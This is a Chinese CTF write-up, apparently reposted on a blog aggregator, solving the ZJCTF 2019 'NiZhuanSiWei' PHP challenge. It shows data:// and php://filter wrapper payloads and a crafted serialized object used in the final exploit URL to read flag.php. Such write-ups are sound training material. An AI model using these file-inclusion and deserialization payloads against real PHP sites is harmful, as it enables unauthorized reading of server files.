[ZJCTF 2019]NiZhuanSiWei 1

这篇具有很好参考价值的文章主要介绍了[ZJCTF 2019]NiZhuanSiWei 1。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

1.发现

 1.1打开题目地址,查看为PHP代码审计

代码审计走起,一步一步分析

[ZJCTF 2019]NiZhuanSiWei 1

2.步骤

2.1大体要传入三个参数,先看第一段语句,

[ZJCTF 2019]NiZhuanSiWei 1 

知识点

1)PHP函数

1.isset:PHP: isset - Manual

2.file_get_contents:PHP: file_get_contents - Manual

 2)关于伪协议常用的payload,包括读文件和php代码执行

1.?file=data:text/plain,<?php phpinfo()>

2.?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

3.?file=php://input [POST DATA:]

4.?file=php://filter/read=convert.base64-encode/resource=xxx.php

 文章来源地址https://www.toymoban.com/news/detail-711257.html

2.2

首先判断text是否传进来,并且传进来的参数是否等于welcome to the zjctf,

这时我们就可以利用data伪协议进行文件php文件执行,

data协议通常是用来执行PHP代码,

然而我们也可以将内容写入data协议中然后让file_get_contents函数取读取。)

这里就可以构造

?text=data://data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

d2VsY29tZSB0byB0aGUgempjdGY=这时为了绕过一些过滤在这里将传入的值给base64编码了一下

[ZJCTF 2019]NiZhuanSiWei 1

 

 

 2.3继续审计下一段代码

 if(preg_match("/flag/",$file)){

        echo "Not now!";//首先正则匹配一下是否存在flag,如果有就报错退出

        exit(); 

    }else{

        include($file);  //useless.php(这里提示了一个useless.php文件,这里用php://filter读取一下)

        $password = unserialize($password);

        echo $password;

    }

}

 知识点

1)PHP函数

1.preg_match:PHP: preg_match - Manual

 

2.4因为有过滤不能直接读,那就用base64编译一下构造payload,来看看useless.php里有什么

file=php://filter/read=convert.base64-encode/resource=useless.php//注意于上一传参之间用&链接

得到一串base64编码的代码

[ZJCTF 2019]NiZhuanSiWei 1

PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

 

2.5解码后得到代码

<?php 

class Flag{  //flag.php  (终于找到关于flag的提示了)

    public $file; 

    public function __tostring(){  //如果这个魔法函数被执行

        if(isset($this->file)){  //就会执行这些

            echo file_get_contents($this->file);

            echo "<br>";

        return ("U R SO CLOSE !///COME ON PLZ");

        } 

    } 

?> 

知识点:
1)序列化与反序列化

代码审计| CTF 中的反序列化问题 - 简书 (jianshu.com)

联想到上边的代码

 $password = unserialize($password);

首先将password的传参序列化一下,之后通过unserialize在反序列化出来,

经过flie的传参到uesless.php页面使_tostring执行从而得到flag,下面开始构造序列化的数组

<?php 

class Flag{  //flag.php  (终于找到关于flag的提示了)

    public $file="flag.php"; 

    public function __tostring(){  //如果这个魔法函数被执行

        if(isset($this->file)){  //就会执行这些

            echo file_get_contents($this->file);

            echo "<br>";

        return ("U R SO CLOSE !///COME ON PLZ");

        } 

    } 

}

$a = new Flag();

echo serialize($a);

?> 

2.6把这个在本地执行一下,得到

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} ?>

这里也没有wakeup什么的也就不存在什么绕过,所以直接构造

password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

2.7所以最终的payload就是

?text=data://data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

之后查看源码得到flag

[ZJCTF 2019]NiZhuanSiWei 1

3.借鉴 

https://www.jianshu.com/p/61c7cd6e00d0

[ZJCTF 2019]NiZhuanSiWei 1 - 走看看 (zoukankan.com)

[ZJCTF 2019]NiZhuanSiWei - 高诺琪 - 博客园 (cnblogs.com)

 

到了这里,关于[ZJCTF 2019]NiZhuanSiWei 1的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包赞助服务器费用

相关文章

  • 小米妙享中心加载失败电脑能发现手机,手机能发现电脑,无法打开镜像画面,无法打开最近文件,能够看到但是无法打开,无法流转应用,无法共享屏幕

    小米妙享中心加载失败电脑能发现手机,手机能发现电脑,无法打开镜像画面,无法打开最近文件,能够看到但是无法打开,无法流转应用,无法共享屏幕

            本人是小米笔记本PRO14锐龙版WIN11系统,手机是小米14pro,电脑刚买来的时候都是可以正常在电脑投屏的,最近投屏总是失败报错,查了很久才解决这个问题可以正常投屏,所以发出来跟大家分享一下,以作参考。         首先要保证电脑上安装了小米妙享的最新

    2024年02月04日
    浏览(190)
  • 小米妙享中心非小米电脑加载失败电脑能发现手机,手机能发现电脑,无法打开镜像画面,无法打开最近文件,能够看到但是无法打开,无法流转应用,无法共享屏幕

    小米妙享中心非小米电脑加载失败电脑能发现手机,手机能发现电脑,无法打开镜像画面,无法打开最近文件,能够看到但是无法打开,无法流转应用,无法共享屏幕

    我这里使用的是ThinkPad T480电脑,该电脑已经是5年左右的老机器了,但是依然能够成功使用小米妙享,只是可能比起原装的功能没有那么全,至于原装是什么样,我也没有体会过,不做过多说明。安装方法很简单,下载小米妙享pc版.exe和机型破解库wtsapi32.dll,将这两个东西放

    2024年02月16日
    浏览(21)
  • VS2019下载地址和安装教程(图解)

    VS2019下载地址和安装教程(图解)

    继 VS2015 和 VS2017 之后,微软于 2019 年 4 月 3 日发布了新版的集成开发环境——VS2019。 和 VS2017 相比,VS2019(Visual Studio 2019)更加强大,不仅新增了一键清除代码、利用实时协作开发共享代码等功能,还改进了 C++ 文件的 IntelliSense 性能、简化了解决方案资源管理器中的测试访

    2023年04月08日
    浏览(10)
  • sql 2019 for windows 下载地址

    SQL Server 2019 for Windows 的下载地址是: 官方下载地址:https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads 下载地址: https://www.microsoft.com/zh-cn/sql-server/sql-server-editions-developers https://www.microsoft.com/zh-cn/sql-server/sql-server-trial 注意:如果你是在中国地区下载,你可能会遇到下载速度慢

    2024年02月06日
    浏览(8)
  • 安装VMWare虚拟机之后,发现网络贼卡,打开网页很慢

    安装VMWare虚拟机之后,发现网络贼卡,打开网页很慢

    事情描述: 最近忙一个项目,需要到虚拟机中部署环境,安装完之后,就开整自己的项目了。 可以过几天,发现本地网络贼卡,打开各网页慢的一批,一开始还以为是路由器的问题,反复折腾之后排除掉路由器的嫌疑。 突然我灵光一闪,会不会是 VMWare 虚拟机网卡 的问题,

    2024年02月03日
    浏览(10)
  • 解决win11更新后VS2019无法打开和卸载的问题

    解决win11更新后VS2019无法打开和卸载的问题

    主要解决了win11中VS2019、Microsoft Visual C++等相关程序出错且无法卸载的问题。 问题来源: (1) 联想电脑开机启动时弹出speedball.exe无法启动窗口 (2) 无法打开visual studio 2019,通过系统卸载工具也会报错 (3) 所有涉及Microsoft Visual C++的程序均无法正常使用 这些问题在一个月前的win

    2024年02月04日
    浏览(10)
  • Visual Studio 2017工程在Visual Studio 2019打开碰到的问题

    Visual Studio 2017的工程可以正常使用,在Visual Studio 2019中打开碰到两个问题,Error code: 0x80004005 和 cannot open source file “xxx.h” ,解决了这两个问题。 参考Visual Studio 2017: Project is out of date with error (0x80004005) 假定是 HelloWorld 的工程,那么修改 HelloWorld.vcxproj 文件,将以下内容: P

    2024年02月05日
    浏览(12)
  • OpenCV(VS2019)——无法打开“opencv2/opencv.hpp”文件

    OpenCV(VS2019)——无法打开“opencv2/opencv.hpp”文件

    借鉴文章:OpenCV——无法打开“opencv2/opencv.hpp”文件_zy2317878的博客-CSDN博客_opencv2/opencv.hpp 第一步:找到opencv,hpp路径,并复制路径,下边是我的路径:  第二步:右键项目,点属性,在弹出的窗口里找C/C++那一栏下的常规,还需添加一个 附加包含目录 路径(刚刚复制的路径)

    2024年02月15日
    浏览(14)
  • php 系列题目,包含查看后端源代码

    php 系列题目,包含查看后端源代码

    1.字符串和数字比较,字符串回被转换成数字。 \\\"admin\\\" ==0(true) admin被转换成数字,由于admin是字符串,转换失败,变成0 int(admin)=0,所以比较结果是ture 2.混合字符串转换成数字,看字符串的第一个 “1admin” == 1 ‘’2admin“ == 2  3.字符串开头以xex开头,x代表数字。会被转换成科

    2024年02月11日
    浏览(15)
  • 解决 VS2019 调试 QT 工程时,无法查看 QT 变量的值

    本地环境: windows10 / CMake 生成的 VS2019 工程,使用 Qt5.15.2 产生问题: 调试时,QString 不提示真实内容 解决方法: 1. 在 VS 扩展菜单, 管理扩展    安装 Qt Vs Tools 工具 2. 查找 qt5.natvis.xml 文件 ( Everything 找一下, 我本地找到好几个) C:Users*****AppDataLocalMicrosoftVisualStudio16.0_e1fd65e3Exte

    2024年02月05日
    浏览(13)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包